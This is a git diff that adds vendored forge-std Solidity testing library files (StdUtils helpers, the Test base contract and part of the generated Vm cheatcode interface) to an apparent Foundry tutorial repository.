+    function _bound(int256 x, int256 min, int256 max) internal pure virtual returns (int256 result) {
+        require(min <= max, 'StdUtils bound(int256,int256,int256): Max is less than min.');
+
+        // Shifting all int256 values to uint256 to use _bound function. The range of two types are:
+        // int256 : -(2**255) ~ (2**255 - 1)
+        // uint256:     0     ~ (2**256 - 1)
+        // So, add 2**255, INT256_MIN_ABS to the integer values.
+        //
+        // If the given integer value is -2**255, we cannot use `-uint256(-x)` because of the overflow.
+        // So, use `~uint256(x) + 1` instead.
+        uint256 _x = x < 0 ? (INT256_MIN_ABS - ~uint256(x) - 1) : (uint256(x) + INT256_MIN_ABS);
+        uint256 _min = min < 0 ? (INT256_MIN_ABS - ~uint256(min) - 1) : (uint256(min) + INT256_MIN_ABS);
+        uint256 _max = max < 0 ? (INT256_MIN_ABS - ~uint256(max) - 1) : (uint256(max) + INT256_MIN_ABS);
+
+        uint256 y = _bound(_x, _min, _max);
+
+        // To move it back to int256 value, subtract INT256_MIN_ABS at here.
+        result = y < INT256_MIN_ABS ? int256(~(INT256_MIN_ABS - y) + 1) : int256(y - INT256_MIN_ABS);
+    }
+
+    function bound(int256 x, int256 min, int256 max) internal pure virtual returns (int256 result) {
+        result = _bound(x, min, max);
+        console2_log_StdUtils('Bound result', vm.toString(result));
+    }
+
+    function boundPrivateKey(uint256 privateKey) internal pure virtual returns (uint256 result) {
+        result = _bound(privateKey, 1, SECP256K1_ORDER - 1);
+    }
+
+    function bytesToUint(bytes memory b) internal pure virtual returns (uint256) {
+        require(b.length <= 32, 'StdUtils bytesToUint(bytes): Bytes length exceeds 32.');
+        return abi.decode(abi.encodePacked(new bytes(32 - b.length), b), (uint256));
+    }
+
+    /// @dev Compute the address a contract will be deployed at for a given deployer address and nonce
+    /// @notice adapted from Solmate implementation (https://github.com/Rari-Capital/solmate/blob/main/src/utils/LibRLP.sol)
+    function computeCreateAddress(address deployer, uint256 nonce) internal pure virtual returns (address) {
+        console2_log_StdUtils('computeCreateAddress is deprecated. Please use vm.computeCreateAddress instead.');
+        return vm.computeCreateAddress(deployer, nonce);
+    }
+
+    function computeCreate2Address(bytes32 salt, bytes32 initcodeHash, address deployer) internal pure virtual returns (address) {
+        console2_log_StdUtils('computeCreate2Address is deprecated. Please use vm.computeCreate2Address instead.');
+        return vm.computeCreate2Address(salt, initcodeHash, deployer);
+    }
+
+    /// @dev returns the address of a contract created with CREATE2 using the default CREATE2 deployer
+    function computeCreate2Address(bytes32 salt, bytes32 initCodeHash) internal pure returns (address) {
+        console2_log_StdUtils('computeCreate2Address is deprecated. Please use vm.computeCreate2Address instead.');
+        return vm.computeCreate2Address(salt, initCodeHash);
+    }
+
+    /// @dev returns an initialized mock ERC20 contract
+    function deployMockERC20(string memory name, string memory symbol, uint8 decimals) internal returns (MockERC20 mock) {
+        mock = new MockERC20();
+        mock.initialize(name, symbol, decimals);
+    }
+
+    /// @dev returns an initialized mock ERC721 contract
+    function deployMockERC721(string memory name, string memory symbol) internal returns (MockERC721 mock) {
+        mock = new MockERC721();
+        mock.initialize(name, symbol);
+    }
+
+    /// @dev returns the hash of the init code (creation code + no args) used in CREATE2 with no constructor arguments
+    /// @param creationCode the creation code of a contract C, as returned by type(C).creationCode
+    function hashInitCode(bytes memory creationCode) internal pure returns (bytes32) {
+        return hashInitCode(creationCode, '');
+    }
+
+    /// @dev returns the hash of the init code (creation code + ABI-encoded args) used in CREATE2
+    /// @param creationCode the creation code of a contract C, as returned by type(C).creationCode
+    /// @param args the ABI-encoded arguments to the constructor of C
+    function hashInitCode(bytes memory creationCode, bytes memory args) internal pure returns (bytes32) {
+        return keccak256(abi.encodePacked(creationCode, args));
+    }
+
+    // Performs a single call with Multicall3 to query the ERC-20 token balances of the given addresses.
+    function getTokenBalances(address token, address[] memory addresses) internal virtual returns (uint256[] memory balances) {
+        uint256 tokenCodeSize;
+        assembly {
+            tokenCodeSize := extcodesize(token)
+        }
+        require(tokenCodeSize > 0, 'StdUtils getTokenBalances(address,address[]): Token address is not a contract.');
+
+        // ABI encode the aggregate call to Multicall3.
+        uint256 length = addresses.length;
+        IMulticall3.Call[] memory calls = new IMulticall3.Call[](length);
+        for (uint256 i = 0; i < length; ++i) {
+            // 0x70a08231 = bytes4("balanceOf(address)"))
+            calls[i] = IMulticall3.Call({target: token, callData: abi.encodeWithSelector(0x70a08231, (addresses[i]))});
+        }
+
+        // Make the aggregate call.
+        (, bytes[] memory returnData) = multicall.aggregate(calls);
+
+        // ABI decode the return data and return the balances.
+        balances = new uint256[](length);
+        for (uint256 i = 0; i < length; ++i) {
+            balances[i] = abi.decode(returnData[i], (uint256));
+        }
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                                 PRIVATE FUNCTIONS
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function addressFromLast20Bytes(bytes32 bytesValue) private pure returns (address) {
+        return address(uint160(uint256(bytesValue)));
+    }
+
+    // This section is used to prevent the compilation of console, which shortens the compilation time when console is
+    // not used elsewhere. We also trick the compiler into letting us make the console log methods as `pure` to avoid
+    // any breaking changes to function signatures.
+    function _castLogPayloadViewToPure(function(bytes memory) internal view fnIn) internal pure returns (function(bytes memory) internal pure fnOut) {
+        assembly {
+            fnOut := fnIn
+        }
+    }
+
+    function _sendLogPayload(bytes memory payload) internal pure {
+        _castLogPayloadViewToPure(_sendLogPayloadView)(payload);
+    }
+
+    function _sendLogPayloadView(bytes memory payload) private view {
+        uint256 payloadLength = payload.length;
+        address consoleAddress = CONSOLE2_ADDRESS;
+        /// @solidity memory-safe-assembly
+        assembly {
+            let payloadStart := add(payload, 32)
+            let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
+        }
+    }
+
+    function console2_log_StdUtils(string memory p0) private pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string)', p0));
+    }
+
+    function console2_log_StdUtils(string memory p0, uint256 p1) private pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256)', p0, p1));
+    }
+
+    function console2_log_StdUtils(string memory p0, string memory p1) private pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string)', p0, p1));
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/Test.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/Test.sol
new file mode 100644
index 000000000..1b6292113
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/Test.sol
@@ -0,0 +1,33 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+// 💬 ABOUT
+// Forge Std's default Test.
+
+// 🧩 MODULES
+import {console} from './console.sol';
+import {console2} from './console2.sol';
+import {safeconsole} from './safeconsole.sol';
+import {StdAssertions} from './StdAssertions.sol';
+import {StdChains} from './StdChains.sol';
+import {StdCheats} from './StdCheats.sol';
+import {stdError} from './StdError.sol';
+import {StdInvariant} from './StdInvariant.sol';
+import {stdJson} from './StdJson.sol';
+import {stdMath} from './StdMath.sol';
+import {StdStorage, stdStorage} from './StdStorage.sol';
+import {StdStyle} from './StdStyle.sol';
+import {stdToml} from './StdToml.sol';
+import {StdUtils} from './StdUtils.sol';
+import {Vm} from './Vm.sol';
+
+// 📦 BOILERPLATE
+import {TestBase} from './Base.sol';
+
+// ⭐️ TEST
+abstract contract Test is TestBase, StdAssertions, StdChains, StdCheats, StdInvariant, StdUtils {
+    // Note: IS_TEST() must return true.
+    bool public IS_TEST = true;
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/Vm.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/Vm.sol
new file mode 100644
index 000000000..17e8c1890
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/Vm.sol
@@ -0,0 +1,1525 @@
+// Automatically @generated by scripts/vm.py. Do not modify manually.
+
+// SPDX-License-Identifier: MIT OR Apache-2.0
+pragma solidity >=0.6.2 <0.9.0;
+pragma experimental ABIEncoderV2;
+
+/// The `VmSafe` interface does not allow manipulation of the EVM state or other actions that may
+/// result in Script simulations differing from on-chain execution. It is recommended to only use
+/// these cheats in scripts.
+interface VmSafe {
+    /// A modification applied to either `msg.sender` or `tx.origin`. Returned by `readCallers`.
+    enum CallerMode {
+        // No caller modification is currently active.
+        None,
+        // A one time broadcast triggered by a `vm.broadcast()` call is currently active.
+        Broadcast,
+        // A recurrent broadcast triggered by a `vm.startBroadcast()` call is currently active.
+        RecurrentBroadcast,
+        // A one time prank triggered by a `vm.prank()` call is currently active.
+        Prank,
+        // A recurrent prank triggered by a `vm.startPrank()` call is currently active.
+        RecurrentPrank
+    }
+
+    /// The kind of account access that occurred.
+    enum AccountAccessKind {
+        // The account was called.
+        Call,
+        // The account was called via delegatecall.
+        DelegateCall,
+        // The account was called via callcode.
+        CallCode,
+        // The account was called via staticcall.
+        StaticCall,
+        // The account was created.
+        Create,
+        // The account was selfdestructed.
+        SelfDestruct,
+        // Synthetic access indicating the current context has resumed after a previous sub-context (AccountAccess).
+        Resume,
+        // The account's balance was read.
+        Balance,
+        // The account's codesize was read.
+        Extcodesize,
+        // The account's codehash was read.
+        Extcodehash,
+        // The account's code was copied.
+        Extcodecopy
+    }
+
+    /// An Ethereum log. Returned by `getRecordedLogs`.
+    struct Log {
+        // The topics of the log, including the signature, if any.
+        bytes32[] topics;
+        // The raw data of the log.
+        bytes data;
+        // The address of the log's emitter.
+        address emitter;
+    }
+
+    /// An RPC URL and its alias. Returned by `rpcUrlStructs`.
+    struct Rpc {
+        // The alias of the RPC URL.
+        string key;
+        // The RPC URL.
+        string url;
+    }
+
+    /// An RPC log object. Returned by `eth_getLogs`.
+    struct EthGetLogs {
+        // The address of the log's emitter.
+        address emitter;
+        // The topics of the log, including the signature, if any.
+        bytes32[] topics;
+        // The raw data of the log.
+        bytes data;
+        // The block hash.
+        bytes32 blockHash;
+        // The block number.
+        uint64 blockNumber;
+        // The transaction hash.
+        bytes32 transactionHash;
+        // The transaction index in the block.
+        uint64 transactionIndex;
+        // The log index.
+        uint256 logIndex;
+        // Whether the log was removed.
+        bool removed;
+    }
+
+    /// A single entry in a directory listing. Returned by `readDir`.
+    struct DirEntry {
+        // The error message, if any.
+        string errorMessage;
+        // The path of the entry.
+        string path;
+        // The depth of the entry.
+        uint64 depth;
+        // Whether the entry is a directory.
+        bool isDir;
+        // Whether the entry is a symlink.
+        bool isSymlink;
+    }
+
+    /// Metadata information about a file.
+    /// This structure is returned from the `fsMetadata` function and represents known
+    /// metadata about a file such as its permissions, size, modification
+    /// times, etc.
+    struct FsMetadata {
+        // True if this metadata is for a directory.
+        bool isDir;
+        // True if this metadata is for a symlink.
+        bool isSymlink;
+        // The size of the file, in bytes, this metadata is for.
+        uint256 length;
+        // True if this metadata is for a readonly (unwritable) file.
+        bool readOnly;
+        // The last modification time listed in this metadata.
+        uint256 modified;
+        // The last access time of this metadata.
+        uint256 accessed;
+        // The creation time listed in this metadata.
+        uint256 created;
+    }
+
+    /// A wallet with a public and private key.
+    struct Wallet {
+        // The wallet's address.
+        address addr;
+        // The wallet's public key `X`.
+        uint256 publicKeyX;
+        // The wallet's public key `Y`.
+        uint256 publicKeyY;
+        // The wallet's private key.
+        uint256 privateKey;
+    }
+
+    /// The result of a `tryFfi` call.
+    struct FfiResult {
+        // The exit code of the call.
+        int32 exitCode;
+        // The optionally hex-decoded `stdout` data.
+        bytes stdout;
+        // The `stderr` data.
+        bytes stderr;
+    }
+
+    /// Information on the chain and fork.
+    struct ChainInfo {
+        // The fork identifier. Set to zero if no fork is active.
+        uint256 forkId;
+        // The chain ID of the current fork.
+        uint256 chainId;
+    }
+
+    /// The result of a `stopAndReturnStateDiff` call.
+    struct AccountAccess {
+        // The chain and fork the access occurred.
+        ChainInfo chainInfo;
+        // The kind of account access that determines what the account is.
+        // If kind is Call, DelegateCall, StaticCall or CallCode, then the account is the callee.
+        // If kind is Create, then the account is the newly created account.
+        // If kind is SelfDestruct, then the account is the selfdestruct recipient.
+        // If kind is a Resume, then account represents a account context that has resumed.
+        AccountAccessKind kind;
+        // The account that was accessed.
+        // It's either the account created, callee or a selfdestruct recipient for CREATE, CALL or SELFDESTRUCT.
+        address account;
+        // What accessed the account.
+        address accessor;
+        // If the account was initialized or empty prior to the access.
+        // An account is considered initialized if it has code, a
+        // non-zero nonce, or a non-zero balance.
+        bool initialized;
+        // The previous balance of the accessed account.
+        uint256 oldBalance;
+        // The potential new balance of the accessed account.
+        // That is, all balance changes are recorded here, even if reverts occurred.
+        uint256 newBalance;
+        // Code of the account deployed by CREATE.
+        bytes deployedCode;
+        // Value passed along with the account access
+        uint256 value;
+        // Input data provided to the CREATE or CALL
+        bytes data;
+        // If this access reverted in either the current or parent context.
+        bool reverted;
+        // An ordered list of storage accesses made during an account access operation.
+        StorageAccess[] storageAccesses;
+        // Call depth traversed during the recording of state differences
+        uint64 depth;
+    }
+
+    /// The storage accessed during an `AccountAccess`.
+    struct StorageAccess {
+        // The account whose storage was accessed.
+        address account;
+        // The slot that was accessed.
+        bytes32 slot;
+        // If the access was a write.
+        bool isWrite;
+        // The previous value of the slot.
+        bytes32 previousValue;
+        // The new value of the slot.
+        bytes32 newValue;
+        // If the access was reverted.
+        bool reverted;
+    }
+
+    // ======== Environment ========
+
+    /// Gets the environment variable `name` and parses it as `address`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envAddress(string calldata name) external view returns (address value);
+
+    /// Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envAddress(string calldata name, string calldata delim) external view returns (address[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `bool`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envBool(string calldata name) external view returns (bool value);
+
+    /// Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envBool(string calldata name, string calldata delim) external view returns (bool[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `bytes32`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envBytes32(string calldata name) external view returns (bytes32 value);
+
+    /// Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envBytes32(string calldata name, string calldata delim) external view returns (bytes32[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `bytes`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envBytes(string calldata name) external view returns (bytes memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envBytes(string calldata name, string calldata delim) external view returns (bytes[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `int256`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envInt(string calldata name) external view returns (int256 value);
+
+    /// Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envInt(string calldata name, string calldata delim) external view returns (int256[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `bool`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, bool defaultValue) external view returns (bool value);
+
+    /// Gets the environment variable `name` and parses it as `uint256`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, uint256 defaultValue) external view returns (uint256 value);
+
+    /// Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, address[] calldata defaultValue) external view returns (address[] memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, bytes32[] calldata defaultValue) external view returns (bytes32[] memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, string[] calldata defaultValue) external view returns (string[] memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, bytes[] calldata defaultValue) external view returns (bytes[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `int256`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, int256 defaultValue) external view returns (int256 value);
+
+    /// Gets the environment variable `name` and parses it as `address`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, address defaultValue) external view returns (address value);
+
+    /// Gets the environment variable `name` and parses it as `bytes32`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, bytes32 defaultValue) external view returns (bytes32 value);
+
+    /// Gets the environment variable `name` and parses it as `string`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata defaultValue) external view returns (string memory value);
+
+    /// Gets the environment variable `name` and parses it as `bytes`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, bytes calldata defaultValue) external view returns (bytes memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, bool[] calldata defaultValue) external view returns (bool[] memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, uint256[] calldata defaultValue) external view returns (uint256[] memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`.
+    /// Reverts if the variable could not be parsed.
+    /// Returns `defaultValue` if the variable was not found.
+    function envOr(string calldata name, string calldata delim, int256[] calldata defaultValue) external view returns (int256[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `string`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envString(string calldata name) external view returns (string memory value);
+
+    /// Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envString(string calldata name, string calldata delim) external view returns (string[] memory value);
+
+    /// Gets the environment variable `name` and parses it as `uint256`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envUint(string calldata name) external view returns (uint256 value);
+
+    /// Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`.
+    /// Reverts if the variable was not found or could not be parsed.
+    function envUint(string calldata name, string calldata delim) external view returns (uint256[] memory value);
+
+    /// Sets environment variables.
+    function setEnv(string calldata name, string calldata value) external;
+
+    // ======== EVM ========
+
+    /// Gets all accessed reads and write slot from a `vm.record` session, for a given address.
+    function accesses(address target) external returns (bytes32[] memory readSlots, bytes32[] memory writeSlots);
+
+    /// Gets the address for a given private key.
+    function addr(uint256 privateKey) external pure returns (address keyAddr);
+
+    /// Gets all the logs according to specified filter.
+    function eth_getLogs(uint256 fromBlock, uint256 toBlock, address target, bytes32[] calldata topics) external returns (EthGetLogs[] memory logs);
+
+    /// Gets the current `block.number`.
+    /// You should use this instead of `block.number` if you use `vm.roll`, as `block.number` is assumed to be constant across a transaction,
+    /// and as a result will get optimized out by the compiler.
+    /// See https://github.com/foundry-rs/foundry/issues/6180
+    function getBlockNumber() external view returns (uint256 height);
+
+    /// Gets the current `block.timestamp`.
+    /// You should use this instead of `block.timestamp` if you use `vm.warp`, as `block.timestamp` is assumed to be constant across a transaction,
+    /// and as a result will get optimized out by the compiler.
+    /// See https://github.com/foundry-rs/foundry/issues/6180
+    function getBlockTimestamp() external view returns (uint256 timestamp);
+
+    /// Gets the map key and parent of a mapping at a given slot, for a given address.
+    function getMappingKeyAndParentOf(address target, bytes32 elementSlot) external returns (bool found, bytes32 key, bytes32 parent);
+
+    /// Gets the number of elements in the mapping at the given slot, for a given address.
+    function getMappingLength(address target, bytes32 mappingSlot) external returns (uint256 length);
+
+    /// Gets the elements at index idx of the mapping at the given slot, for a given address. The
+    /// index must be less than the length of the mapping (i.e. the number of keys in the mapping).
+    function getMappingSlotAt(address target, bytes32 mappingSlot, uint256 idx) external returns (bytes32 value);
+
+    /// Gets the nonce of an account.
+    function getNonce(address account) external view returns (uint64 nonce);
+
+    /// Gets all the recorded logs.
+    function getRecordedLogs() external returns (Log[] memory logs);
+
+    /// Loads a storage slot from an address.
+    function load(address target, bytes32 slot) external view returns (bytes32 data);
+
+    /// Pauses gas metering (i.e. gas usage is not counted). Noop if already paused.
+    function pauseGasMetering() external;
+
+    /// Records all storage reads and writes.
+    function record() external;
+
+    /// Record all the transaction logs.
+    function recordLogs() external;
+
+    /// Resumes gas metering (i.e. gas usage is counted again). Noop if already on.
+    function resumeGasMetering() external;
+
+    /// Performs an Ethereum JSON-RPC request to the current fork URL.
+    function rpc(string calldata method, string calldata params) external returns (bytes memory data);
+
+    /// Signs `digest` with `privateKey` using the secp256r1 curve.
+    function signP256(uint256 privateKey, bytes32 digest) external pure returns (bytes32 r, bytes32 s);
+
+    /// Signs `digest` with `privateKey` using the secp256k1 curve.
+    function sign(uint256 privateKey, bytes32 digest) external pure returns (uint8 v, bytes32 r, bytes32 s);
+
+    /// Starts recording all map SSTOREs for later retrieval.
+    function startMappingRecording() external;
+
+    /// Record all account accesses as part of CREATE, CALL or SELFDESTRUCT opcodes in order,
+    /// along with the context of the calls
+    function startStateDiffRecording() external;
+
+    /// Returns an ordered array of all account accesses from a `vm.startStateDiffRecording` session.
+    function stopAndReturnStateDiff() external returns (AccountAccess[] memory accountAccesses);
+
+    /// Stops recording all map SSTOREs for later retrieval and clears the recorded data.
+    function stopMappingRecording() external;
+
+    // ======== Filesystem ========
+
+    /// Closes file for reading, resetting the offset and allowing to read it from beginning with readLine.
+    /// `path` is relative to the project root.
+    function closeFile(string calldata path) external;
+
+    /// Copies the contents of one file to another. This function will **overwrite** the contents of `to`.
+    /// On success, the total number of bytes copied is returned and it is equal to the length of the `to` file as reported by `metadata`.
+    /// Both `from` and `to` are relative to the project root.
+    function copyFile(string calldata from, string calldata to) external returns (uint64 copied);
+
+    /// Creates a new, empty directory at the provided path.
+    /// This cheatcode will revert in the following situations, but is not limited to just these cases:
+    /// - User lacks permissions to modify `path`.
+    /// - A parent of the given path doesn't exist and `recursive` is false.
+    /// - `path` already exists and `recursive` is false.
+    /// `path` is relative to the project root.
+    function createDir(string calldata path, bool recursive) external;
+
+    /// Returns true if the given path points to an existing entity, else returns false.
+    function exists(string calldata path) external returns (bool result);
+
+    /// Performs a foreign function call via the terminal.
+    function ffi(string[] calldata commandInput) external returns (bytes memory result);
+
+    /// Given a path, query the file system to get information about a file, directory, etc.
+    function fsMetadata(string calldata path) external view returns (FsMetadata memory metadata);
+
+    /// Gets the creation bytecode from an artifact file. Takes in the relative path to the json file.
+    function getCode(string calldata artifactPath) external view returns (bytes memory creationBytecode);
+
+    /// Gets the deployed bytecode from an artifact file. Takes in the relative path to the json file.
+    function getDeployedCode(string calldata artifactPath) external view returns (bytes memory runtimeBytecode);
+
+    /// Returns true if the path exists on disk and is pointing at a directory, else returns false.
+    function isDir(string calldata path) external returns (bool result);
+
+    /// Returns true if the path exists on disk and is pointing at a regular file, else returns false.
+    function isFile(string calldata path) external returns (bool result);
+
+    /// Get the path of the current project root.
+    function projectRoot() external view returns (string memory path);
+
+    /// Reads the directory at the given path recursively, up to `maxDepth`.
+    /// `maxDepth` defaults to 1, meaning only the direct children of the given directory will be returned.
+    /// Follows symbolic links if `followLinks` is true.
+    function readDir(string calldata path) external view returns (DirEntry[] memory entries);
+
+    /// See `readDir(string)`.
+    function readDir(string calldata path, uint64 maxDepth) external view returns (DirEntry[] memory entries);
+
+    /// See `readDir(string)`.
+    function readDir(string calldata path, uint64 maxDepth, bool followLinks) external view returns (DirEntry[] memory entries);
+
+    /// Reads the entire content of file to string. `path` is relative to the project root.
+    function readFile(string calldata path) external view returns (string memory data);
+
+    /// Reads the entire content of file as binary. `path` is relative to the project root.
+    function readFileBinary(string calldata path) external view returns (bytes memory data);
+
+    /// Reads next line of file to string.
+    function readLine(string calldata path) external view returns (string memory line);
+
+    /// Reads a symbolic link, returning the path that the link points to.
+    /// This cheatcode will revert in the following situations, but is not limited to just these cases:
+    /// - `path` is not a symbolic link.
+    /// - `path` does not exist.
+    function readLink(string calldata linkPath) external view returns (string memory targetPath);
+
+    /// Removes a directory at the provided path.
+    /// This cheatcode will revert in the following situations, but is not limited to just these cases:
+    /// - `path` doesn't exist.
+    /// - `path` isn't a directory.
+    /// - User lacks permissions to modify `path`.
+    /// - The directory is not empty and `recursive` is false.
+    /// `path` is relative to the project root.
+    function removeDir(string calldata path, bool recursive) external;
+
+    /// Removes a file from the filesystem.
+    /// This cheatcode will revert in the following situations, but is not limited to just these cases:
+    /// - `path` points to a directory.
+    /// - The file doesn't exist.
+    /// - The user lacks permissions to remove the file.
+    /// `path` is relative to the project root.
+    function removeFile(string calldata path) external;
+
+    /// Performs a foreign function call via terminal and returns the exit code, stdout, and stderr.
+    function tryFfi(string[] calldata commandInput) external returns (FfiResult memory result);
+
+    /// Returns the time since unix epoch in milliseconds.
+    function unixTime() external returns (uint256 milliseconds);
+
+    /// Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does.
+    /// `path` is relative to the project root.
+    function writeFile(string calldata path, string calldata data) external;
+
+    /// Writes binary data to a file, creating a file if it does not exist, and entirely replacing its contents if it does.
+    /// `path` is relative to the project root.
+    function writeFileBinary(string calldata path, bytes calldata data) external;
+
+    /// Writes line to file, creating a file if it does not exist.
+    /// `path` is relative to the project root.
+    function writeLine(string calldata path, string calldata data) external;
+
+    // ======== JSON ========
+
+    /// Checks if `key` exists in a JSON object
+    /// `keyExists` is being deprecated in favor of `keyExistsJson`. It will be removed in future versions.
+    function keyExists(string calldata json, string calldata key) external view returns (bool);
+
+    /// Checks if `key` exists in a JSON object.
+    function keyExistsJson(string calldata json, string calldata key) external view returns (bool);
+
+    /// Parses a string of JSON data at `key` and coerces it to `address`.
+    function parseJsonAddress(string calldata json, string calldata key) external pure returns (address);
+
+    /// Parses a string of JSON data at `key` and coerces it to `address[]`.
+    function parseJsonAddressArray(string calldata json, string calldata key) external pure returns (address[] memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `bool`.
+    function parseJsonBool(string calldata json, string calldata key) external pure returns (bool);
+
+    /// Parses a string of JSON data at `key` and coerces it to `bool[]`.
+    function parseJsonBoolArray(string calldata json, string calldata key) external pure returns (bool[] memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `bytes`.
+    function parseJsonBytes(string calldata json, string calldata key) external pure returns (bytes memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `bytes32`.
+    function parseJsonBytes32(string calldata json, string calldata key) external pure returns (bytes32);
+
+    /// Parses a string of JSON data at `key` and coerces it to `bytes32[]`.
+    function parseJsonBytes32Array(string calldata json, string calldata key) external pure returns (bytes32[] memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `bytes[]`.
+    function parseJsonBytesArray(string calldata json, string calldata key) external pure returns (bytes[] memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `int256`.
+    function parseJsonInt(string calldata json, string calldata key) external pure returns (int256);
+
+    /// Parses a string of JSON data at `key` and coerces it to `int256[]`.
+    function parseJsonIntArray(string calldata json, string calldata key) external pure returns (int256[] memory);
+
+    /// Returns an array of all the keys in a JSON object.
+    function parseJsonKeys(string calldata json, string calldata key) external pure returns (string[] memory keys);
+
+    /// Parses a string of JSON data at `key` and coerces it to `string`.
+    function parseJsonString(string calldata json, string calldata key) external pure returns (string memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `string[]`.
+    function parseJsonStringArray(string calldata json, string calldata key) external pure returns (string[] memory);
+
+    /// Parses a string of JSON data at `key` and coerces it to `uint256`.
+    function parseJsonUint(string calldata json, string calldata key) external pure returns (uint256);
+
+    /// Parses a string of JSON data at `key` and coerces it to `uint256[]`.
+    function parseJsonUintArray(string calldata json, string calldata key) external pure returns (uint256[] memory);
+
+    /// ABI-encodes a JSON object.
+    function parseJson(string calldata json) external pure returns (bytes memory abiEncodedData);
+
+    /// ABI-encodes a JSON object at `key`.
+    function parseJson(string calldata json, string calldata key) external pure returns (bytes memory abiEncodedData);
+
+    /// See `serializeJson`.
+    function serializeAddress(string calldata objectKey, string calldata valueKey, address value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeAddress(string calldata objectKey, string calldata valueKey, address[] calldata values) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeBool(string calldata objectKey, string calldata valueKey, bool value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeBool(string calldata objectKey, string calldata valueKey, bool[] calldata values) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeBytes32(string calldata objectKey, string calldata valueKey, bytes32 value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeBytes32(string calldata objectKey, string calldata valueKey, bytes32[] calldata values) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeBytes(string calldata objectKey, string calldata valueKey, bytes calldata value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeBytes(string calldata objectKey, string calldata valueKey, bytes[] calldata values) external returns (string memory json);
+
